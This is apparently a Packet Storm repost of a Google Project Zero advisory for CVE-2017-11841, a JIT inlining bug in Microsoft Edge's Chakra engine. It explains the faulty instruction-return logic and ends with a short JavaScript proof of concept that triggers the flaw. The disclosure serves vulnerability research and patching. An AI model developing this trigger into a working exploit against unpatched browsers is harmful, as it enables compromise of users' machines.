exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft Edge Chakra JIT Inline::InlineCallApplyTarget_Shared Failed Return

Microsoft Edge Chakra JIT Inline::InlineCallApplyTarget_Shared Failed Return
Posted Nov 25, 2017
Authored by Google Security Research, lokihardt

Microsoft Edge Chakra JIT Inline::InlineCallApplyTarget_Shared does not return the return instruction.

tags | exploit
advisories | CVE-2017-11841
SHA-256 | 70cace84bd9e2fa3381d1d38bcfd0743b83971ff7366be4881f9e6a185240aa3

Microsoft Edge Chakra JIT Inline::InlineCallApplyTarget_Shared Failed Return

Change Mirror Download
Microsoft Edge: Chakra: JIT: Inline::InlineCallApplyTarget_Shared doesn't return the return instruction 

CVE-2017-11841


Here's a snippet of Inline::Optimize.
FOREACH_INSTR_EDITING(instr, instrNext, func->m_headInstr)
{
switch (instr->m_opcode)
{
case Js::OpCode::Label:
{
...
if (instr->AsLabelInstr()->m_isForInExit)
{
Assert(this->currentForInDepth != 0); // The PoC hits this
this->currentForInDepth--;
}
}
break;
case Js::OpCode::InitForInEnumerator:
if (!func->IsLoopBody())
{
this->currentForInDepth++;
}
break;
case Js::OpCode::CallI:
...
instrNext = builtInInlineCandidateOpCode != 0 ?
this->InlineBuiltInFunction(instr, inlineeData, builtInInlineCandidateOpCode, inlinerData, symThis, &isInlined, profileId, recursiveInlineDepth) :
this->InlineScriptFunction(instr, inlineeData, symThis, profileId, &isInlined, recursiveInlineDepth);
...
}
}


"InlineBuiltInFunction" and "InlineScriptFunction" are used to inline a JavaScript function. For example, those methods can convert a call expression as follws.

Before:
s6.var = StartCall 1 (0x1).i32 #0000
arg1(s7)<0>.var = ArgOut_A s2.var, s6.var #0003
CallI s3.var, arg1(s7)<0>.var #0006

s0.var = Ld_A 0xXXXXXXXX (undefined)[Undefined].var #000c <<--- NEXT INSTRUCTION

After:
s6.var = StartCall 1 (0x1).i32 #0000
...
s12.var = InlineeStart s3.var, iarg1(s7)<24>.var #0006 Func # (#1.3), #4 obj.inlinee
s9[Object].var = Ld_A 0xXXXXXXXX (GlobalObject)[Object].var # Func # (#1.3), #4
s8.var = Ld_A 0xXXXXXXXX (undefined)[Undefined].var #0000 Func # (#1.3), #4
StatementBoundary #0 #0002 Func # (#1.3), #4
StatementBoundary #-1 #0002 Func # (#1.3), #4
InlineeEnd 4 (0x4).i32, s12.var #0000 Func # (#1.3), #4

StatementBoundary #0 #000c
s0.var = Ld_A 0xXXXXXXXX (undefined)[Undefined].var #000c <<---- NEXT INSTRUCTION

As you can see the inlinee is wrapped in InlineeStart and InlineeEnd. So to handle the orignal next instructions in the next iterations, those methods must return the call instruction's next instruction. But there's a buggy call flow.

Here's the call flow.
Inline::InlineBuiltInFunction(...) {
...
if (inlineCallOpCode == Js::OpCode::InlineFunctionCall)
{
inlineBuiltInEndInstr = InlineCall(callInstr, inlineeData, inlinerData, symCallerThis, pIsInlined, profileId, recursiveInlineDepth);
return inlineBuiltInEndInstr->m_next;
}
...
}

-> InlineCall -> InlineCallTarget ->

Inline::InlineCallApplyTarget_Shared(...) {
IR::Instr* instrNext = callInstr->m_next;
return InlineFunctionCommon(callInstr, originalCallTargetOpndIsJITOpt, originalCallTargetStackSym, inlineeData, inlinee, instrNext, returnValueOpnd, callInstr, nullptr, recursiveInlineDepth, safeThis, isApplyTarget);
}

Inline::InlineFunctionCommon(...)
{
...
return instrNext;
}

The point is that it ends up returning "callInstr->m_next->m_next". Therefore, "callInstr->m_next" will be never processed.

In the PoC, "InitForInEnumerator" will be skipped.

s16[LikelyUndefined_CanBeTaggedValue].var = CallI s6.var, arg2(s15)<8>.var #0015 << will be inlined
InitForInEnumerator s16.var, s17.u64 #001f << Skipped


PoC:
function opt(obj) {
for (let i in obj.inlinee.call({})) {
}

for (let i in obj.inlinee.call({})) {
}
}

function main() {
let obj = {
inlinee: function () {
}
};

for (let i = 0; i < 10000; i++)
opt(obj);
}

main();


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close